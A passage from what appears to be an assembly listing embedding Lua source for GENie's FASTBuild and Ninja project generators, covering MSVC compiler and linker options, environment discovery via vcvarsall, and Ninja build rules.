string.format(\"/Fd\\\"%s%s.pdb\\\"\", targetdir, cfg.buildtarget.basename))\nend\nend\nlocal isoptimised = true\nif (cfg.flags.Optimize) then\ntable.insert(compileroptions, '/Ox')\nelseif (cfg.flags.OptimizeSize) then\ntable.insert(compileroptions, '/O1')\nelseif (cfg.flags.OptimizeSpeed) then\ntable.insert(compileroptions, '/O2')\nelse\nisoptimised = false\nend\nif isoptimised then\nif cfg.flags.NoOptimizeLink and cfg.flags.NoEditAndContinue then\ntable.insert(compileroptions, '/GF-')\ntable.insert(compileroptions, '/Gy-')\nelse\ntable.insert(compileroptions, '/GF')\ntable.insert(compileroptions, '/Gy')\nend\nelse\ntable.insert(compileroptions, '/Gy')\ntable.insert(compileroptions, '/Od')\ntable.insert(compileroptions, '/RTC1')\nend\nif cfg.flags.FatalWarnings then\ntable.insert(compileroptions, '/WX')\nelse\ntable.insert(compileroptions, '/WX-')\nend\nif cfg.platform == 'x32' then\nif cfg.flags.EnableSSE2 then\ntable.insert(compileroptions, '/arch:SSE2')\nelseif cfg.flags.EnableSSE then\ntable.insert(compileroptions, '/arch:SSE')\nend\nend\nif cfg.flags.NoExceptions then\nelse\nif cfg.flags.SEH then\ntable.insert(compileroptions, '/EHa')\nelse\ntable.insert(compileroptions, '/EHsc')\nend\nend\nif cfg.flags.NoRTTI then\ntable.insert(compileroptions, '/GR-')\nelse\ntable.insert(compileroptions, '/GR')\nend\nif cfg.flags.NoFramePointer then\ntable.insert(compileroptions, '/Oy-')\nelse\ntable.insert(compileroptions, '/Oy')\nend\nfor _, addloption in ipairs(cfg.buildoptions) do\ntable.insert(compileroptions, addloption)\nend\n_p(indentlevel, \".CompilerOptions = ''\")\nfor _, option in ipairs(compileroptions) do\n_p(indentlevel+1, \"+ ' %s'\", option)\nend\n_p(indentlevel+1, \"+ .IncludeDirs\")\n_p(indentlevel+1, \"+ .Defines\")\nif not cfg.flags.NoPCH and cfg.pchheader then\n_p(indentlevel, \".CompilerInputFiles - '%s'\", cfg.pchsource)\n_p(indentlevel, \".PCHInputFile = '%s'\", cfg.pchsource)\n_p(indentlevel, \".PCHOutputFile = .CompilerOutputPath + '%s.pch'\", prj.name)\n_p(indentlevel, \".CompilerOptions + ' /Fp\\\"' + .CompilerOutputPath + '%s.pch\\\"'\", prj.name)\n_p(indentlevel, \".PCHOptions = .CompilerOptions\")\n_p(indentlevel+1, \"+ ' /Yc\\\"%s\\\"'\", cfg.pchheader)\n_p(indentlevel+1, \"+ ' /Fo\\\"%%3\\\"'\")\n_p(indentlevel, \".CompilerOptions + ' /Yu\\\"%s\\\"'\", cfg.pchheader)\nend\n_p(indentlevel+1, \"+ ' /Fo\\\"%%2\\\"'\") -- make sure the previous property is .CompilerOptions\nend\nlocal function library(prj, cfg, useconfig, commonbasepath)\n_p(1, \"Library('%s-%s-%s')\", prj.name, cfg.name, cfg.platform)\n_p(1, '{')\nuseconfig(2)\ncompile(2, prj, cfg, commonbasepath)\nlocal librarianoptions = {\n'\"%1\"',\n'/OUT:\"%2\"',\n'/NOLOGO',\n}\nif cfg.platform == 'x64' then\ntable.insert(librarianoptions, '/MACHINE:X64')\nelse\ntable.insert(librarianoptions, '/MACHINE:X86')\nend\n_p(2, \".LibrarianOptions = ''\")\nfor _, option in ipairs(librarianoptions) do\n_p(3, \"+ ' %s'\", option)\nend\n_p(2, \".LibrarianOutput = '%s'\", cfg.buildtarget.fullpath)\n_p(1, '}')\n_p('')\nend\nlocal function binary(prj, cfg, useconfig, bintype, commonbasepath)\n_p(1, \"ObjectList('%s_obj-%s-%s')\", prj.name, cfg.name, cfg.platform)\n_p(1, '{')\nuseconfig(2)\ncompile(2, prj, cfg, commonbasepath)\n_p(1, '}')\n_p('')\n_p(1, \"%s('%s-%s-%s')\", bintype, prj.name, cfg.name, cfg.platform)\n_p(1, '{')\nuseconfig(2)\n_p(2, '.Libraries = {')\n_p(3, \"'%s_obj-%s-%s',\", prj.name, cfg.name, cfg.platform) -- Refer to the ObjectList\nlocal sorteddeplibs = {}\nfor _, deplib in ipairs(premake.getlinks(cfg, \"dependencies\", \"basename\")) do\ntable.insert(sorteddeplibs, string.format(\"'%s-%s-%s',\", deplib, cfg.name, cfg.platform))\nend\ntable.sort(sorteddeplibs)\nfor _, deplib in ipairs(sorteddeplibs) do\n_p(3, deplib)\nend\n_p(3, '}')\n_p(2, '.LinkerLinkObjects = false')\nlocal linkeroptions = {\n'\"%1\"',\n'/OUT:\"%2\"',\n'/NOLOGO',\n'/errorReport:prompt',\n}\nlocal subsystemversion = '\",5.02\"'\nif cfg.platform == 'x32' then\nsubsystemversion = '\",5.01\"'\nend\nif cfg.kind == 'ConsoleApp' then\ntable.insert(linkeroptions, '/SUBSYSTEM:CONSOLE'..subsystemversion)\nelse\ntable.insert(linkeroptions, '/SUBSYSTEM:WINDOWS'..subsystemversion)\nend\nif cfg.kind == 'SharedLib' then\ntable.insert(linkeroptions, '/DLL')\nend\nif cfg.platform == 'x64' then\ntable.insert(linkeroptions, '/MACHINE:X64')\nelse\ntable.insert(linkeroptions, '/MACHINE:X86')\nend\nfor _, libdir in ipairs(cfg.libdirs) do\ntable.insert(linkeroptions, string.format('/LIBPATH:%s', path.translate(libdir, '\\\\')))\nend\nif not cfg.flags.WinMain and (cfg.kind == 'ConsoleApp' or cfg.kind == 'WindowedApp') then\nif cfg.flags.Unicode then\ntable.insert(linkeroptions, '/ENTRY:wmainCRTStartup')\nelse\ntable.insert(linkeroptions, '/ENTRY:mainCRTStartup')\nend\nend\nlocal deffile = premake.findfile(cfg, \".def\")\nif deffile then\ntable.insert(linkeroptions, '/DEF:%s', deffile)\nend\nif (cfg.flags.Symbols ~= nil) then\ntable.insert(linkeroptions, '/DEBUG')\nend\nif premake.config.islinkeroptimizedbuild(cfg.flags) then\ntable.insert(linkeroptions, '/OPT:REF')\ntable.insert(linkeroptions, '/OPT:ICF')\nend\ntable.insert(linkeroptions, '/INCREMENTAL'..((premake.config.isincrementallink(cfg) and '') or ':NO'))\nfor _, addloption in ipairs(cfg.linkoptions) do\ntable.insert(linkeroptions, addloption)\nend\nlocal linklibs = premake.getlinks(cfg, \"all\", \"fullpath\")\nfor _, linklib in ipairs(linklibs) do\ntable.insert(linkeroptions, path.getname(linklib))\nend\ntable.sort(linkeroptions)\n_p(2, \".LinkerOptions = ''\")\nfor _, option in ipairs(linkeroptions) do\n_p(3, \"+ ' %s'\", option)\nend\n_p(3, \"+ .MSVCLibPaths\")\n_p(2, \".LinkerOutput = '%s'\", cfg.buildtarget.fullpath)\n_p(1, '}')\n_p('')\nend\nlocal function executable(prj, cfg, useconfig, commonbasepath)\nbinary(prj, cfg, useconfig, 'Executable', commonbasepath)\nend\nlocal function dll(prj, cfg, useconfig, commonbasepath)\nbinary(prj, cfg, useconfig, 'DLL', commonbasepath)\nend\nlocal function alias(prj, cfg, target)\n_p(1, \"Alias('%s-%s-%s')\", prj.name, cfg.name, cfg.platform)\n_p(1, '{')\n_p(2, \".Targets = '%s'\", target)\n_p(1, '}')\n_p('')\nend\nfunction premake.fastbuild.project(prj)\nio.indent = ' '\n_p('// FASTBuild project configuration file autogenerated by GENie.')\n_p('')\n_p('{')\nlocal cppfiles = {}\nfor file in premake.project.eachfile(prj) do\nif path.issourcefile(file.name) then\ntable.insert(cppfiles, file.name)\nend\nend\nlocal commonbasepath = cppfiles[1]\nfor _, file in ipairs(cppfiles) do\ncommonbasepath = path.getcommonbasedir(commonbasepath..'/', file)\nend\n_p(1, \".CompilerInputFilesRoot = '%s/'\", commonbasepath)\n_p(1, '.CompilerInputFiles = {')\nfor _, file in ipairs(cppfiles) do\n_p(2, \"'%s',\", file)\nend\n_p(1, '}')\n_p('')\nlocal targetkindmap = {\nConsoleApp = executable,\nWindowedApp = executable,\nSharedLib = dll,\nStaticLib = library,\n}\nlocal useconfigmap = {\nx32 = function(indentlevel)\n_p(indentlevel, 'Using(.MSVCx86Config)')\n_p('')\nend,\nx64 = function(indentlevel)\n_p(indentlevel, 'Using(.MSVCx64Config)')\n_p('')\nend,\n}\nlocal nativeplatform = (os.is64bit() and 'x64') or 'x32'\nfor _, platform in ipairs(prj.solution.platforms) do\nfor cfg in premake.eachconfig(prj, platform) do\nif cfg.platform == 'Native' then\nalias(prj, cfg, string.format('%s-%s-%s', prj.name, cfg.name, nativeplatform))\nelse\ntargetkindmap[prj.kind](prj, cfg, useconfigmap[cfg.platform], commonbasepath)\nend\nend\nend\n_p('}')\nend\n"
L_.str.59: ## @.str.59
.asciz "-- Generates a FASTBuild config file for a solution.\nfunction premake.fastbuild.solution(sln)\nio.indent = ' '\n_p('// FastBuild solution configuration file. Generated by GENie.')\n_p('//------------------------------------------------------------------------------------')\n_p('// %s', sln.name)\n_p('//------------------------------------------------------------------------------------')\n_p('#import VS140COMNTOOLS')\nlocal is64bit = os.is64bit()\nlocal target64 = (is64bit and ' amd64') or ' x86_amd64'\nlocal target32 = (is64bit and ' amd64_x86') or ''\nlocal getvcvarscontent = [[\n@set INCLUDE=\n@set LIB=\n@set CommandPromptType=\n@set PreferredToolArchitecture=\n@set Platform=\n@set Path=%SystemRoot%\\System32;%SystemRoot%;%SystemRoot%\\System32\\wbem\n@call \"%VS140COMNTOOLS%..\\..\\VC\\vcvarsall.bat\" %1\n@echo %INCLUDE%\n@echo %LIB%\n@echo %CommandPromptType%\n@echo %PreferredToolArchitecture%\n@echo %Platform%\n@echo %Path%\n]]\nlocal getvcvarsfilepath = os.getenv('TEMP')..'\\\\getvcvars.bat'\nlocal getvcvarsfile = assert(io.open(getvcvarsfilepath, 'w'))\ngetvcvarsfile:write(getvcvarscontent)\ngetvcvarsfile:close()\nlocal vcvarsrawx86 = os.outputof(string.format('call \"%s\"%s', getvcvarsfilepath, target32))\nlocal vcvarsrawx64 = os.outputof(string.format('call \"%s\"%s', getvcvarsfilepath, target64))\nos.remove(getvcvarsfilepath)\nlocal msvcvars = {}\nmsvcvars.x32 = {}\nmsvcvars.x64 = {}\nlocal includeslibssplitter = string.gmatch(vcvarsrawx64, \"[^\\n]+\")\nmsvcvars.x64.includesraw = includeslibssplitter()\nmsvcvars.x64.libpathsraw = includeslibssplitter()\nmsvcvars.x64.commandprompttype = includeslibssplitter()\nmsvcvars.x64.preferredtoolarchitecture = includeslibssplitter()\nmsvcvars.x64.platform = includeslibssplitter()\nmsvcvars.x64.pathraw = includeslibssplitter()\nincludeslibssplitter = string.gmatch(vcvarsrawx86, \"[^\\n]+\")\nmsvcvars.x32.includesraw = includeslibssplitter()\nmsvcvars.x32.libpathsraw = includeslibssplitter()\nmsvcvars.x32.commandprompttype = includeslibssplitter()\nmsvcvars.x32.preferredtoolarchitecture = includeslibssplitter()\nmsvcvars.x32.platform = includeslibssplitter()\nmsvcvars.x32.pathraw = includeslibssplitter()\nlocal function printincludes(includesraw)\n_p(1, \".MSVCIncludes = ''\")\nfor i in string.gmatch(includesraw, \"[^;]+\") do\n_p(2, \"+ ' /I\\\"%s\\\"'\", i)\nend\nend\nlocal function printlibpaths(libpathsraw)\n_p(1, \".MSVCLibPaths = ''\")\nfor i in string.gmatch(libpathsraw, \"[^;]+\") do\n_p(2, \"+ ' /LIBPATH:\\\"%s\\\"'\", i)\nend\nend\nif is64bit then\n_p('.MSVCx64Config =')\n_p('[')\n_p(1, \".Compiler = '$VS140COMNTOOLS$..\\\\..\\\\VC\\\\bin\\\\amd64\\\\cl.exe'\")\n_p(1, \".Librarian = '$VS140COMNTOOLS$..\\\\..\\\\VC\\\\bin\\\\amd64\\\\lib.exe'\")\n_p(1, \".Linker = '$VS140COMNTOOLS$..\\\\..\\\\VC\\\\bin\\\\amd64\\\\link.exe'\")\nprintincludes(msvcvars.x64.includesraw)\nprintlibpaths(msvcvars.x64.libpathsraw)\n_p(']')\n_p('')\n_p('.MSVCx86Config =')\n_p('[')\n_p(1, \".Compiler = '$VS140COMNTOOLS$..\\\\..\\\\VC\\\\bin\\\\amd64_x86\\\\cl.exe'\")\n_p(1, \".Librarian = '$VS140COMNTOOLS$..\\\\..\\\\VC\\\\bin\\\\amd64_x86\\\\lib.exe'\")\n_p(1, \".Linker = '$VS140COMNTOOLS$..\\\\..\\\\VC\\\\bin\\\\amd64_x86\\\\link.exe'\")\nprintincludes(msvcvars.x32.includesraw)\nprintlibpaths(msvcvars.x32.libpathsraw)\n_p(']')\n_p('')\nelse\n_p('.MSVCx64Config =')\n_p('[')\n_p(1, \".Compiler = '$VS140COMNTOOLS$..\\\\..\\\\VC\\\\bin\\\\x86_amd64\\\\cl.exe'\")\n_p(1, \".Librarian = '$VS140COMNTOOLS$..\\\\..\\\\VC\\\\bin\\\\x86_amd64\\\\lib.exe'\")\n_p(1, \".Linker = '$VS140COMNTOOLS$..\\\\..\\\\VC\\\\bin\\\\x86_amd64\\\\link.exe'\")\nprintincludes(msvcvars.x64.includesraw)\nprintlibpaths(msvcvars.x64.libpathsraw)\n_p(']')\n_p('')\n_p('.MSVCx86Config =')\n_p('[')\n_p(1, \".Compiler = '$VS140COMNTOOLS$..\\\\..\\\\VC\\\\bin\\\\cl.exe'\")\n_p(1, \".Librarian = '$VS140COMNTOOLS$..\\\\..\\\\VC\\\\bin\\\\lib.exe'\")\n_p(1, \".Linker = '$VS140COMNTOOLS$..\\\\..\\\\VC\\\\bin\\\\link.exe'\")\nprintincludes(msvcvars.x32.includesraw)\nprintlibpaths(msvcvars.x32.libpathsraw)\n_p(']')\n_p('')\nend\nlocal msvcbin = '$VS140COMNTOOLS$..\\\\..\\\\VC\\\\bin' .. ((is64bit and '\\\\amd64') or '')\n_p('#import Path')\n_p('#import TMP')\n_p('#import SystemRoot')\n_p('')\n_p('Settings')\n_p('{')\n_p(1, '.Environment = {')\n_p(2, \"'Path=%s;$Path$',\", msvcbin)\n_p(2, \"'TMP=$TMP$',\")\n_p(2, \"'SystemRoot=$SystemRoot$',\")\n_p(2, '}')\n_p('}')\n_p('')\nlocal function projkindsort(a, b)\nlocal projvaluemap = {\nConsoleApp = 3,\nWindowedApp = 3,\nSharedLib = 2,\nStaticLib = 1,\n}\nif projvaluemap[a.kind] == projvaluemap[b.kind] then\nreturn a.name < b.name\nelse\nreturn projvaluemap[a.kind] < projvaluemap[b.kind]\nend\nend\nlocal sortedprojs = {}\nfor prj in premake.solution.eachproject(sln) do\ntable.insert(sortedprojs, prj)\nend\ntable.sort(sortedprojs, projkindsort)\nfor _, prj in ipairs(sortedprojs) do\nlocal fname = premake.project.getbasename(prj.name, '%%.bff')\nfname = path.join(prj.location, fname)\nfname = path.getrelative(sln.location, fname)\n_p('#include \"%s\"', fname)\nend\n_p('')\n_p('.ProjectVariants = {')\nfor _, plat in ipairs(sln.platforms) do\nfor _, cfg in ipairs(sln.configurations) do\n_p(1, \"'%s-%s',\", cfg, plat)\nend\nend\n_p('}')\n_p('')\n_p('ForEach(.Variant in .ProjectVariants)')\n_p('{')\n_p(1, \"Alias('all-$Variant$')\")\n_p(1, '{')\n_p(2, '.Targets = {')\nfor _, prj in ipairs(sortedprojs) do\n_p(3, \"'%s-$Variant$',\", prj.name)\nend\n_p(2, '}')\n_p(1, '}')\n_p('}')\nend\n"
L_.str.60: ## @.str.60
.asciz "premake.ninja = { }\nlocal p = premake\nnewaction\n{\ntrigger = \"ninja\",\nshortname = \"ninja\",\ndescription = \"Generate Ninja build files\",\nmodule = \"ninja\",\nvalid_kinds = {\"ConsoleApp\", \"WindowedApp\", \"StaticLib\", \"SharedLib\", \"Bundle\"},\nvalid_languages = {\"C\", \"C++\", \"Swift\"},\nvalid_tools = {\ncc = { \"gcc\" },\nswift = { \"swift\" },\n},\nonsolution = function(sln)\nio.eol = \"\\r\\n\"\nio.indent = \"\\t\"\nio.escaper(p.ninja.esc)\np.generate(sln, \"Makefile\", p.ninja.generate_solution)\nio.indent = \" \"\np.ninja.generate_ninja_builds(sln)\nend,\nonproject = function(prj)\nio.eol = \"\\r\\n\"\nio.indent = \" \"\nio.escaper(p.ninja.esc)\np.ninja.generate_project(prj)\nend,\noncleansolution = function(sln)\nfor _,name in ipairs(sln.configurations) do\npremake.clean.file(sln, p.ninja.get_solution_name(sln, name))\nend\nend,\noncleanproject = function(prj)\nend,\noncleantarget = function(prj)\nend,\n}\n"
L_.str.61: ## @.str.61
.asciz "local ninja = premake.ninja\nfunction ninja.esc(value)\nif value then\nvalue = string.gsub(value, \"%$\", \"$$\") -- TODO maybe there is better way\nvalue = string.gsub(value, \":\", \"$:\")\nvalue = string.gsub(value, \"\\n\", \"$\\n\")\nvalue = string.gsub(value, \" \", \"$ \")\nend\nreturn value\nend\nfunction ninja.shesc(value)\nif type(value) == \"table\" then\nlocal result = {}\nlocal n = #value\nfor i = 1, n do\ntable.insert(result, ninja.shesc(value[i]))\nend\nreturn result\nend\nif value:find(\" \") then\nreturn \"\\\"\" .. value .. \"\\\"\"\nend\nreturn value\nend\nfunction ninja.list(value)\nif #value > 0 then\nreturn \" \" .. table.concat(value, \" \")\nelse\nreturn \"\"\nend\nend\nfunction ninja.arglist(arg, value)\nif #value > 0 then\nlocal args = {}\nfor _, val in ipairs(value) do\ntable.insert(args, string.format(\"%s %s\", arg, val))\nend\nreturn table.concat(args, \" \")\nelse\nreturn \"\"\nend\nend\nfunction ninja.generate_project(prj)\nif prj.language == \"Swift\" then\nninja.generate_swift(prj)\nelse\nninja.generate_cpp(prj)\nend\nend\nlocal function innerget(self, key)\nreturn rawget(getmetatable(self), key) or self.__inner[key]\nend\nlocal prj_proxy = { __index = innerget }\nlocal cfg_proxy = { __index = innerget }\nfunction new_prj_proxy(prj)\nprj = prj.project or prj\nlocal v = { __inner = prj }\nlocal __configs = {}\nfor key, cfg in pairs(prj.__configs) do\nif key ~= \"\" then\n__configs[key] = ninja.get_proxy(\"cfg\", cfg)\nelse\n__configs[key] = cfg\nend\nend\nv.__configs = __configs\nreturn setmetatable(v, prj_proxy)\nend\nlocal function rebasekeys(t, keys, old, new)\nfor _,key in ipairs(keys) do\nt[key] = path.rebase(t[key], old, new)\nend\nreturn t\nend\nlocal function rebasearray(t, old, new)\nlocal res = { }\nfor _,f in ipairs(t) do\ntable.insert(res, path.rebase(f, old, new))\nend\nreturn res\nend\nfunction new_cfg_proxy(cfg)\nlocal keys = { \"directory\", \"fullpath\", \"bundlepath\" }\nlocal old = cfg.location\nlocal new = path.join(cfg.location, cfg.shortname)\nlocal v = {\n__inner = cfg,\nlocation = new,\nobjectsdir = path.rebase(cfg.objectsdir, old, new),\nbuildtarget = rebasekeys(table.deepcopy(cfg.buildtarget), keys, old, new),\nlinktarget = rebasekeys(table.deepcopy(cfg.linktarget), keys, old, new),\n}\nv.files = rebasearray(cfg.files, old, new)\nv.includedirs = rebasearray(cfg.includedirs, old, new)\nv.libdirs = rebasearray(cfg.libdirs, old, new)\nv.userincludedirs = rebasearray(cfg.userincludedirs, old, new)\nv.systemincludedirs = rebasearray(cfg.systemincludedirs, old, new)\nv.swiftmodulemaps = rebasearray(cfg.swiftmodulemaps, old, new)\nreturn setmetatable(v, cfg_proxy)\nend\nfunction cfg_proxy:getprojectfilename(fullpath)\nlocal name = self.project.name .. \".ninja\"\nif fullpath ~= nil then\nreturn path.join(self.location, name)\nend\nreturn name\nend\nfunction cfg_proxy:getoutputfilename()\nreturn path.join(self.buildtarget.directory, self.buildtarget.name)\nend\nlocal proxy_cache = { \nprj = { new = new_prj_proxy }, \ncfg = { new = new_cfg_proxy },\n}\nfunction get_proxy(cache, obj)\nif not cache[obj] then\ncache[obj] = cache.new(obj)\nend\nreturn cache[obj]\nend\nfunction ninja.get_proxy(typ, obj)\nif not proxy_cache[typ] then\nerror(\"invalid proxy type\")\nend\nreturn get_proxy(proxy_cache[typ], obj)\nend\n"
L_.str.62: ## @.str.62
.asciz "local ninja = premake.ninja\nlocal p = premake\nlocal solution = p.solution\nfunction ninja.generate_solution(sln)\nlocal cc = premake[_OPTIONS.cc]\nlocal platforms = premake.filterplatforms(sln, cc.platforms, \"Native\")\n_p('# %s solution makefile autogenerated by GENie', premake.action.current().shortname)\n_p('# Type \"make help\" for usage help')\n_p('')\n_p('NINJA=ninja')\n_p('ifndef config')\n_p(' config=%s', _MAKE.esc(premake.getconfigname(sln.configurations[1], platforms[1], true)))\n_p('endif')\n_p('')\nlocal projects = table.extract(sln.projects, \"name\")\ntable.sort(projects)\n_p('')\n_p('.PHONY: all clean help $(PROJECTS)')\n_p('')\n_p('all:')\nif (not sln.messageskip) or (not table.contains(sln.messageskip, \"SkipBuildingMessage\")) then\n_p(1, '@echo \"==== Building all ($(config)) ====\"')\nend\n_p(1, '@${NINJA} -C ${config} all')\n_p('')\nfor _, prj in ipairs(sln.projects) do\nlocal prjx = ninja.get_proxy(\"prj\", prj)\n_p('%s:', _MAKE.esc(prj.name))\nif (not sln.messageskip) or (not table.contains(sln.messageskip, \"SkipBuildingMessage\")) then\n_p(1, '@echo \"==== Building %s ($(config)) ====\"', prj.name)\nend\n_p(1, '@${NINJA} -C ${config} %s', prj.name)\n_p('')\nend\n_p('clean:')\n_p(1, '@${NINJA} -C ${config} -t clean')\n_p('')\n_p('help:')\n_p(1,'@echo \"Usage: make [config=name] [target]\"')\n_p(1,'@echo \"\"')\n_p(1,'@echo \"CONFIGURATIONS:\"')\nlocal cfgpairs = { }\nfor _, platform in ipairs(platforms) do\nfor _, cfgname in ipairs(sln.configurations) do\n_p(1,'@echo \" %s\"', premake.getconfigname(cfgname, platform, true))\nend\nend\n_p(1,'@echo \"\"')\n_p(1,'@echo \"TARGETS:\"')\n_p(1,'@echo \" all (default)\"')\n_p(1,'@echo \" clean\"')\nfor _, prj in ipairs(sln.projects) do\n_p(1,'@echo \" %s\"', prj.name)\nend\n_p(1,'@echo \"\"')\n_p(1,'@echo \"For more information, see https://github.com/bkaradzic/genie\"')\nend\nlocal generate\nlocal function getconfigs(sln, name, plat)\nlocal cfgs = {}\nfor prj in solution.eachproject(sln) do\nprj = ninja.get_proxy(\"prj\", prj)\nfor cfg in p.eachconfig(prj, plat) do\nif cfg.name == name then\ntable.insert(cfgs, cfg)\nend\nend\nend\nreturn cfgs\nend\nfunction ninja.generate_ninja_builds(sln)\nlocal cc = premake[_OPTIONS.cc]\nsln.getlocation = function(cfg, plat)\nreturn path.join(sln.location, premake.getconfigname(cfg, plat, true))\nend\nlocal platforms = premake.filterplatforms(sln, cc.platforms, \"Native\")\nfor _,plat in ipairs(platforms) do\nfor _,name in ipairs(sln.configurations) do\np.generate(sln, ninja.get_solution_name(sln, name, plat), function(sln)\ngenerate(getconfigs(sln, name, plat))\nend)\nend\nend\nend\nfunction ninja.get_solution_name(sln, cfg, plat)\nreturn path.join(sln.getlocation(cfg, plat), \"build.ninja\")\nend\nfunction generate(prjcfgs)\nlocal cfgs = {}\nlocal cfg_start = nil\nlocal cfg_first = nil\nlocal cfg_first_lib = nil\n_p(\"# solution build file\")\n_p(\"# generated with GENie ninja\")\n_p(\"\")\n_p(\"# build projects\")\nfor _,cfg in ipairs(prjcfgs) do\nlocal key = cfg.project.name\nif not cfgs[key] then cfgs[key] = \"\" end\ncfgs[key] = cfg:getoutputfilename() .. \" \"\nif not cfgs[\"all\"] then cfgs[\"all\"] = \"\" end\ncfgs[\"all\"] = cfgs[\"all\"] .. cfg:getoutputfilename() .. \" \"\nif (cfg_start == nil) and (cfg.solution.startproject == key) then\ncfg_start = key\nend\nif (cfg_first == nil) and (cfg.kind == \"ConsoleApp\" or cfg.kind == \"WindowedApp\") then\ncfg_first = key\nend\nif (cfg_first_lib == nil) and (cfg.kind == \"StaticLib\" or cfg.kind == \"SharedLib\") then\ncfg_first_lib = key\nend\n_p(\"subninja \" .. cfg:getprojectfilename())\nend\n_p(\"\")\n_p(\"# targets\")\nfor cfg, outputs in iter.sortByKeys(cfgs) do\n_p(\"build \" .. cfg .. \": phony \" .. outputs)\nend\n_p(\"\")\n_p(\"# default target\")\n_p(\"default \" .. (cfg_start or cfg_first or cfg_first_lib))\n_p(\"\")\nend\n"
L_.str.63: ## @.str.63
.asciz "premake.ninja.cpp = { }\nlocal ninja = premake.ninja\nlocal cpp = premake.ninja.cpp\nlocal p = premake\nlocal function wrap_ninja_cmd(c)\nif os.is(\"windows\") then\nreturn 'cmd /c \"' .. c .. '\"'\nelse\nreturn c\nend\nend\nfunction ninja.generate_cpp(prj)\nlocal pxy = ninja.get_proxy(\"prj\", prj)\nlocal tool = premake.gettool(prj)\nlocal platforms = premake.filterplatforms(prj.solution, tool.platforms, \"Native\")\nfor _, platform in ipairs(platforms) do\nfor cfg in p.eachconfig(pxy, platform) do\np.generate(cfg, cfg:getprojectfilename(), function() cpp.generate_config(prj, cfg) end)\nend\nend\nend\nfunction cpp.generate_config(prj, cfg)\nlocal tool = premake.gettool(prj)\n_p('# Ninja build project file autogenerated by GENie')\n_p('# https://github.com/bkaradzic/GENie')\n_p(\"\")\n_p(\"ninja_required_version = 1.7\")\n_p(\"\")\nlocal flags = {\ndefines = ninja.list(tool.getdefines(cfg.defines)),\nincludes = ninja.list(table.join(tool.getincludedirs(cfg.includedirs), tool.getquoteincludedirs(cfg.userincludedirs), tool.getsystemincludedirs(cfg.systemincludedirs))),\ncppflags = ninja.list(tool.getcppflags(cfg)),\nasmflags = ninja.list(table.join(tool.getcflags(cfg), cfg.buildoptions, cfg.buildoptions_asm)),\ncflags = ninja.list(table.join(tool.getcflags(cfg), cfg.buildoptions, cfg.buildoptions_c)),\ncxxflags = ninja.list(table.join(tool.getcflags(cfg), tool.getcxxflags(cfg), cfg.buildoptions, cfg.buildoptions_cpp)),\nobjcflags = ninja.list(table.join(tool.getcflags(cfg), tool.getcxxflags(cfg), cfg.buildoptions, cfg.buildoptions_objc)),\n}\n_p(\"\")\n_p(\"# core rules for \" .. cfg.name)\n_p(\"rule cc\")\n_p(\" command = \" .. wrap_ninja_cmd(tool.cc .. \" $defines $includes $flags -MMD -MF $out.d -c -o $out $in\"))\n_p(\" description = cc $out\")\n_p(\" depfile = $out.d\")\n_p(\" deps = gcc\")\n_p(\"\")\n_p(\"rule cxx\")\n_p(\" command = \" .. wrap_ninja_cmd(tool.cxx .. \" $defines $includes $flags -MMD -MF $out.d -c -o $out $in\"))\n_p(\" description = cxx $out\")\n_p(\" depfile = $out.d\")\n_p(\" deps = gcc\")\n_p(\"\")\n_p(\"rule ar\")\n_p(\" command = \" .. wrap_ninja_cmd(tool.ar .. \" $flags $out @$out.rsp \" .. (os.is(\"MacOSX\") and \" 2>&1 > /dev/null | sed -e '/.o) has no symbols$$/d'\" or \"\")))\n_p(\" description = ar $out\")\n_p(\" rspfile = $out.rsp\")\n_p(\" rspfile_content = $in $libs\")\n_p(\"\")\nlocal link = iif(cfg.language == \"C\", tool.cc, tool.cxx)\n_p(\"rule link\")\nlocal startgroup = ''\nlocal endgroup = ''\nif (cfg.flags.LinkSupportCircularDependencies) then\nstartgroup = '-Wl,--start-group'\nendgroup = '-Wl,--end-group'\nend\n_p(\" command = \" .. wrap_ninja_cmd(\"$pre_link \" .. link .. \" -o $out @$out.rsp $all_ldflags $post_build\"))\n_p(\" description = link $out\")\n_p(\" rspfile = $out.rsp\")\n_p(\" rspfile_content = $all_outputfiles $walibs\" .. string.format(\"%s $libs %s\", startgroup, endgroup))\n_p(\"\")\n_p(\"rule exec\")\n_p(\" command = \" .. wrap_ninja_cmd(\"$command\"))\n_p(\" description = Run $type commands\")\n_p(\"\")\nif #cfg.prebuildcommands > 0 then\n_p(\"build __prebuildcommands_\" .. premake.esc(prj.name) .. \": exec\")\n_p(1, \"command = \" .. wrap_ninja_cmd(\"echo Running pre-build commands && \" .. table.implode(cfg.prebuildcommands, \"\", \"\", \" && \")))\n_p(1, \"type = pre-build\")\n_p(\"\")\nend\ncfg.pchheader_full = cfg.pchheader\nfor _, incdir in ipairs(cfg.includedirs) do\nlocal abspath = path.getabsolute(path.join(cfg.project.location, cfg.shortname, incdir))\nlocal testname = path.join(abspath, cfg.pchheader_full)\nif os.isfile(testname) then\ncfg.pchheader_full = path.getrelative(cfg.location, testname)\nbreak\nend\nend\ncpp.custombuildtask(prj, cfg)\ncpp.dependencyRules(prj, cfg)\ncpp.file_rules(prj, cfg, flags)\nlocal objfiles = {}\nfor _, file in ipairs(cfg.files) do\nif path.issourcefile(file) then\ntable.insert(objfiles, cpp.objectname(cfg, file))\nend\nend\n_p('')\ncpp.linker(prj, cfg, objfiles, tool, flags)\n_p(\"\")\nend\nfunction cpp.custombuildtask(prj, cfg)\nlocal cmd_index = 1\nlocal seen_commands = {}\nlocal command_by_name = {}\nlocal command_files = {}\nlocal prebuildsuffix = #cfg.prebuildcommands > 0 and \"||__prebuildcommands_\" .. premake.esc(prj.name) or \"\"\nfor _, custombuildtask in ipairs(prj.custombuildtask or {}) do\nfor _, buildtask in ipairs(custombuildtask or {}) do\nfor _, cmd in ipairs(buildtask[4] or {}) do\nlocal num = 1\nfor _, depdata in ipairs(buildtask[3] or {}) do\ncmd = string.gsub(cmd,\"%$%(\" .. num ..\"%)\", string.format(\"%s \", path.getrelative(cfg.location, depdata)))\nnum = num + 1\nend\ncmd = string.gsub(cmd, '%$%(<%)', '$in')\ncmd = string.gsub(cmd, '%$%(@%)', '$out')\nlocal cmd_name -- shortened command name\nif seen_commands[cmd] == nil then\nlocal _, _, name = string.find(cmd, '([.%w]+)%s')\nname = 'cmd' .. cmd_index .. '_' .. string.gsub(name, '[^%w]', '_')\nseen_commands[cmd] = {\nname = name,\nindex = cmd_index,\n}\ncmd_index = cmd_index + 1\ncmd_name = name\nelse\ncmd_name = seen_commands[cmd].name\nend\nlocal index = seen_commands[cmd].index\nif command_files[index] == nil then\ncommand_files[index] = {}\nend\nlocal cmd_set = 